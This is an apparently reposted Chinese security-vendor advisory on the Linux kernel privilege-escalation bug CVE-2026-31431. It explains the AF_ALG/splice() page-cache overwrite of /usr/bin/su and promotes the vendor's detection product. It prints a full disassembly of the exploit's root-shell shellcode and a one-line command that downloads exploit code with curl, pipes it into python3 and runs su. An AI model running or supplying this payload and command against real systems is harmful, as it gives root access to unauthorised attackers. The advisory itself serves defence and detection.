文章总结: 该文档详细分析了Linux内核高危提权漏洞CVE-2026-31431的技术细节,该漏洞允许普通用户通过AF_ALG套接字与splice()系统调用组合实现容器逃逸和root权限获取。文档提供了完整的EXP反汇编分析和攻击链还原,并重点推介安芯神甲产品能够实时检测该漏洞利用行为,通过ACDR攻击链可视化实现精准告警。最后给出了部署安全产品或升级内核两种缓解方案。 综合评分: 78 文章分类: 漏洞分析,漏洞预警,解决方案,安全工具,应急响应
新型 Linux 内核提权漏洞 CVE-2026-31431,安芯神甲提供实时检测与防护能力
原创
内存安全领军者 内存安全领军者
安芯网盾
2026年4月30日 20:37 北京
在小说阅读器读本章
去阅读
- 漏洞概述
| | | | — | — | | 项目内容 | 详细信息 | | 漏洞编号 | CVE-2026-31431 | | 漏洞名称 | Copy Fail | | 公开日期 | 2026 年 4 月 29 日 | | 危害等级 | 高危(本地提权,且可用于容器逃逸) |
CVE-2026-31431 是一个 Linux 内核本地提权漏洞,存在于内核加密套接字接口 AF_ALG 的 AEAD(认证加密)实现中。
攻击者通过组合使用 AF_ALG 套接字、splice() 系统调用与匿名管道,触发 authencesn(hmac(sha256),cbc(aes)) 算法在执行加密操作时将输出直接写回到源文件的 page cache 页中,从而在不修改磁盘的情况下替换任意只读文件的内存映像。攻击者可以实现对 setuid 二进制文件(如 /usr/bin/su)页缓存的 4 字节写入,从而获取 root shell。
该漏洞的利用效果为:普通权限用户无需任何特权即可获取 root shell,且整个利用过程非常丝滑,具有极强的隐蔽性。
- EXP分析
我们对目前已公开的 copy_fail_exp.py 进行了还原(去除混淆)发现漏洞利用的 Payload 是一个完整的 x86-64 ELF 可执行文件,并非对原始 su 二进制的patch,而是完全替换 /usr/bin/su 的 page cache 首页中前 160 字节。
● ELF 结构布局
Offset Size 内容------ ---- ----0x00 64 ELF Header0x40 56 Program Header [0] (PT_LOAD, R|X)0x78 38 .text (入口点,实际 shellcode)0x96 8 字符串数据 "/bin/sh\0"------total: 158 = 0x9e bytes (ELF 声明的 FileSz) 160 bytes 按 4 字节对齐(40 轮写入)
● Shellcode 完整反汇编
; ============ setuid(0) ============0x400078: 31 c0 xor eax, eax0x40007a: 31 ff xor edi, edi ; arg0: uid = 00x40007c: b0 69 mov al, 0x69 ; syscall NR = 105 = __NR_setuid0x40007e: 0f 05 syscall ; → setuid(0),将 EUID 设为 root ; ============ execve("/bin/sh", NULL, NULL) ============0x400080: 48 8d 3d lea rdi, [rip+0xf] ; rdi = 0x400096 → "/bin/sh" 0f 00 00 000x400087: 31 f6 xor esi, esi ; arg1: argv = NULL0x400089: 6a 3b push 0x3b0x40008b: 58 pop rax ; syscall NR = 59 = __NR_execve0x40008c: 99 cdq ; rdx = 0 (envp = NULL)0x40008d: 0f 05 syscall ; → execve("/bin/sh", NULL, NULL) ; ============ exit(0)(execve 失败时的 fallback)============0x40008f: 31 ff xor edi, edi0x400091: 6a 3c push 0x3c0x400093: 58 pop rax ; syscall NR = 60 = __NR_exit0x400094: 0f 05 syscall ; → exit(0) ; ============ 字符串数据 ============0x400096: 2f 62 69 6e 2f 73 68 00 "/bin/sh\0" ^ LEA target: RIP(0x400087) + 0xf = 0x400096 ✓
● 漏洞利用程序的实现效果
(1) setuid(0) — 利用 /usr/bin/su 的 SUID bit,将进程 UID 提升为 0
(2) execve(“/bin/sh”) — 以 root 身份启动 shell
- 安芯神甲实时告警防护
安芯神甲无需任何策略升级,通过内核探针与用户态行为监控可实现基于ACDR(AttackChain)的安全告警,在 CVE-2026-31431 漏洞利用过程中完整捕获了攻击的每一个阶段,并在管理端以攻击路径图、事件时间线、进程详情等方式直观呈现。
在测试主机上,执行exp程序
curl https://copy.fail/exp | python3 && su
复现 CVE-2026-31431 提权操作
在需要保护的目标主机中部署安芯神甲以后,重复以上提权操作,可以在神甲管理端后台及时发现风险主机 (主机名 anxin-virtual-machine)存在恶意进程行为被标记为“高危”。
安芯神甲将攻击过程自动聚合为五个连续的“权限获取”事件,时间戳依次为:
(1) 2026-04-30 14:09:08.336:攻击者首次通过 bash 进程准备漏洞利用环境;
(2) 2026-04-30 15:01:33.354:python3.10 进程执行漏洞利用脚本(即 copy_fail_exp.py),触发 AF_ALG 异常套接字操作(提权发生);
(3) 2026-04-30 15:01:33.826:sh -c su 命令被执行,此时 /usr/bin/su 的 page cache 已被篡改,攻击者尝试触发提权;
(4) 2026-04-30 15:01:33.849:sudo 进程被调用,作为提权后的辅助行为;
(5) 2026-04-30 15:01:33.851:最终 su 成功派生 root 权限的 dash 进程,提权完成。
有效标注了“被提权的进程:/usr/bin/dash”,并给出其命令行 sh -c su,以及进程所属用户变为 root。
安芯神甲对 CVE-2026-31431 的攻击链实现了全自动关联与可视化:从被攻陷主机 到初始进程 bash,再到漏洞利用脚本 ,最终提权至 root 权限的 dash,每一步的时间、进程名、命令行参数、文件哈希、异常标志均被精准捕获。
-
缓解方案
-
部署安芯神甲主机防护系统,通过“策略”->“事件安全策略”->开启“ACDR 事件分析”->事件拦截深度“全部”->根据业务实际状态选择“仅上报”模式或“拦截模式”,实时检测 + 拦截完整攻击链。
-
升级至包含 mainline commit a664bf3d603d 的Linux内核版本,各主流发行版正在陆续发布修复版本。升级后需要重启系统使新内核生效,并通过以下命令验证是否包含修复 commit:
grep -r “a664bf3d603d” /proc/version 2>/dev/null || uname -r
验证是否包含修复commit或对比发行版官方公告中的修复版本号
了解安芯
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安芯网盾 内存安全领军者 内存安全领军者《新型 Linux 内核提权漏洞 CVE-2026-31431,安芯神甲提供实时检测与防护能力》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论